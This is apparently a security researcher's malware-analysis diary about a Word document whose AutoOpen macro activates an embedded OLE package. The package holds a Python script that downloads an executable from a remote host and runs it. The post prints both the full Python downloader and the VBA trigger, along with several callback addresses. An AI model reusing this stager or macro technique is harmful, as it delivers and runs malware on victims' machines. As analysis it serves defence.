A few days ago, Didier wrote an interesting diary about embedded objects into an Office document[1]. I had a discussion about an interesting OLE file that I found. Because it used the same technique, I let Didier publish his diary first. Now, let's have a look at the document.

It's an OLE file that contains an embedded object:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py oleObject1.bin
  1:        76 '\x01CompObj'
  2: O     471 '\x01Ole10Native'
  3:         6 '\x03ObjInfo'
$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py oleObject1.bin -s 2 -d
?pJIkdw.pyC:\Users\CNIyi\Desktop\pJIkdw.py7C:\Users\CNIyi\AppData\Local\Temp\pJIkdw (2).pyr
import socket
import tempfile
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.2.100", 8080))
buf = ""
while True:
  data = s.recv(1024)
  if data:
    buf += data
  else:
    break
s.close
temp = tempfile.gettempdir() + "\\" + "JcNrGlx.exe"
f = open(temp, "wb")
f.write(buf)
f.close
f = None
os.system(temp)

The code is easy to understand: It connects to 192.168.2.100:8000, fetches a malicious PE file, dumps it on disk, and executes it. Note the private IP address used (RFC1918). It should be a test file (or from a red-team exercise?). The file hash is 40ae709cb1d6335c3a41863d2dca21bfa7bd493ebb3d7ddd72da4e09b09b2988 with a VT score of 5/60[2]. I searched via VT for more information about this file and found the document where it was coming from. 

It's a Word document (9f40fd5596a5d9f195017a5cae09799af8755f1436b8b9edbed768ccaa5dba67) with a VT score of 8/63[3]. The file contains indeed our original OLE file as reported by oledump.py:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py malicious.docx
A: word/vbaProject.bin
 A1:       348 'PROJECT'
 A2:        71 'PROJECTwm'
 A3: M    1327 'VBA/NewMacros'
 A4: m     924 'VBA/ThisDocument'
 A5:      2649 'VBA/_VBA_PROJECT'
 A6:      1082 'VBA/__SRP_0'
 A7:       104 'VBA/__SRP_1'
 A8:        84 'VBA/__SRP_2'
 A9:       107 'VBA/__SRP_3'
A10:       570 'VBA/dir'
B: word/embeddings/oleObject1.bin
 B1:        76 '\x01CompObj'
 B2: O     471 '\x01Ole10Native'
 B3:         6 '\x03ObjInfo'

The macro in stream 3 is very simple:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py malicious.docx -s 3 -v
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen"
'
' AutoOpen Macro
'
'
    ActiveDocument.Shapes("Object 2").Select
    Selection.ShapeRange(1).OLEFormat.DoVerb VerbIndex:=wdOLEVerbPrimary
End Sub

The method (OLEFormat.DoVerb) requests an OLE object to perform the verb passed as argment[4]. 'wdOLEVerbPrimary' means to perform the verb that is invoked when the user double-clicks the object. The code will be executed only if Python is available on the targeted host.

The Word document seems corrupted and doesn't open properly in my sandbox. But looking at the files inside the zip archive, you discover that the OLE file is indeed embedded:

<Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="embeddings/oleObject1.bin"/>

And:

<o:OLEObject Type="Embed" ProgID="Package" ShapeID="_x0000_s1026" DrawAspect="Content" ObjectID="_1400592552" r:id="rId7"/>

Yesterday, I found new occurrences of the same OLE file but trying to connect to other IP addresses:

• 192.168.2.108:8080
• 192.168.1.4:8080
• 156.132.142.28:99

Interestingly, the last IP address (the routable one) belongs to uscourts.gov (United States Courts)! The purpose of the file is still unclear but, being based on a Python payload, I presume the victim is targeted. Or, as I already did in the past, I spotted a red-team exercise preparation?

[1] https://isc.sans.edu/forums/diary/Office+Documents+with+Embedded+Objects/26558/
[2] https://bazaar.abuse.ch/sample/40ae709cb1d6335c3a41863d2dca21bfa7bd493ebb3d7ddd72da4e09b09b2988/
[3] https://bazaar.abuse.ch/sample/9f40fd5596a5d9f195017a5cae09799af8755f1436b8b9edbed768ccaa5dba67/
[4] https://docs.microsoft.com/en-us/office/vba/api/word.oleformat.doverb

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key